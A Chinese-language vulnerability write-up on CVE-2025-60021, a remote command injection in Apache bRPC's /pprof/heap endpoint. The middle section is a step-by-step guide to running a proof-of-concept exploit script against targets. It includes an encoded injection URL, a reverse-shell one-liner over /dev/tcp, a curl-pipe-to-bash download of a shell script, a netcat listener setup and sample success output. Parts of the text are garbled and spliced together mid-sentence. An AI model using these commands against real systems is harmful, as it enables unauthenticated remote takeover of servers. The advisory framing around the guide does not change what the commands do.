| 属性 | 信息 |
|---|
| 名称/ID | CVE-2025-60021 |
| 产品 | Apache bRPC(所有平台) |
| 影响版本 | < 1.15.0 |
| 公开日期 | 2026年1月16日 (NVD) |
| 漏洞类型 | 远程命令注入 (CWE-77) (NVD) |
| 端点 | /pprof/heap |
| 触发条件 | 未清理的 extra_options 参数 |
| 根因 | 输入在作为操作系统命令执行前未经验证 (openwall.com) |
❗攻击者只需操控此分析参数即可远程注入命令。
🔥 严重性评级: 严重
📊 CVSS v3.1 基础评分: 9.8 / 10
向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
| 影响类别 | 影响 | |
|---|---|---|
| 机密性 | 高 | |
| 完整性 | 高 | |
| 可用性 | 高 | |
| 攻击向量 | 网络 | |
| 权限要求 | 无需 | |
| 用户交互 | 无需 | (INCIBE) |
👉 这意味着攻击者可以在无需登录的情况下远程执行任意命令——对于暴露的服务而言,这是最坏的情况。
/pprof/heap)。 (openwall.com)extra_options 参数。bRPC 未对其进行清理,而是直接传递给操作系统 shell。 (openwall.com)假设你已将脚本保存为 CVE-2025-60021.py(尽管实际 CVE 编号为 2025-60021——可以随意重命名)。这是一个 Python 3 脚本,用于演示 Apache bRPC 堆分析器中的远程命令注入漏洞。仅在你自己拥有或获得明确书面授权测试的系统上运行——未经授权的利用是非法的。
Python 环境: 确保安装了 Python 3(例如 3.6+)。脚本使用内置模块以及 requests 和 argparse(它们是标准库或易于安装)。
安装依赖: 如果尚未安装,请安装 requests 库:
pip install requests
目标设置: 需要一个存在漏洞的 Apache bRPC 服务器:
http://localhost:8060 或远程 IP/端口)。
如果在本地测试,请搭建一个存在漏洞的 bRPC 实例(例如通过 Docker 或源码编译——请参考 Apache bRPC 文档)。权限: 仅当需要网络访问或特殊权限时才使用 sudo;否则,普通 python3 即可。
将我之前提供的 PoC 代码复制到名为 CVE-2025-60021.py 的文件中。如果需要,可以使其可执行:
chmod +x CVE-2025-60021.py
脚本需要两个必需的位置参数:
target: 存在漏洞的 bRPC 服务器的 URL(例如 http://192.168.1.100:8060 或 http://targets:8060——请修正任何拼写错误,如缺少 scheme 或无效的主机名)。cmd: 要在目标上执行的命令(例如 "id" 获取用户信息,或更复杂的命令如 "curl http://your-server/reverse-shell.sh | bash" 实现反向 shell)。使用 && 或 ; 可以串联多个命令。打开终端(例如,像你使用的 Kali Linux),使用你的目标和命令执行脚本。示例命令:
基本测试(获取系统信息):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
反向 shell 示例(替换 your-listener-ip 和端口;首先设置监听器,如 nc -lvnp 4444):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
如果使用 HTTPS 或不同端口,请相应调整 URL(例如 https://target:443——脚本可以处理,但如果证书有问题,请添加 --insecure)。
成功标志:
id,则显示 uid=0(root)...)。失败标志(就像你看到的):
--enable_heap_profiler=true)并重启服务器。cmd 参数——始终包含它。echo "test" > /tmp/proof.txt),然后检查目标上的文件。; 无效,请尝试 && 或 | 进行串联。如有必要,对特殊字符进行 URL 编码(脚本可处理大多数情况)。/pprof/heap。如果漏洞利用成功(目标启用了堆分析器且 bRPC 版本 <1.15.0 未修补),终端中的输出将类似于以下内容(具体细节取决于命令的标准输出和服务器配置):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]
关键标志:200 OK 状态码,如果你的命令(如 id && whoami && uname -a)产生输出,它可能会出现在响应正文中(混有分析器的垃圾数据)。对于静默命令(例如反向 shell),请检查目标服务器或你的监听器是否有活动——除了 200 状态码,终端没有直接确认。😈
/pprof/heap 的访问。✔ 攻击者不需要凭据。 ✔ 它通过网络工作。 ✔ 影响所有使用存在漏洞 bRPC 的平台。 ✔ 可以导致完全系统受损。
在关键服务(如搜索、存储、机器学习管道)中使用 bRPC 的企业尤其危险,因为此缺陷将一个诊断工具变成了攻击向量。 (Daily CyberSecurity)
⚠ EPSS(漏洞利用预测评分系统): 一些源表示到目前为止观察到的利用活动较少,但利用的简易性意味着它可能很快被用于实际攻击。 (Tenable®)
📌 分类: CWE-77 — 命令中对特殊元素的不当清除(命令注入)。 (NVD)
如果你在生产环境中运行 Apache bRPC — 立即修补,并限制对诊断端点的访问以降低风险。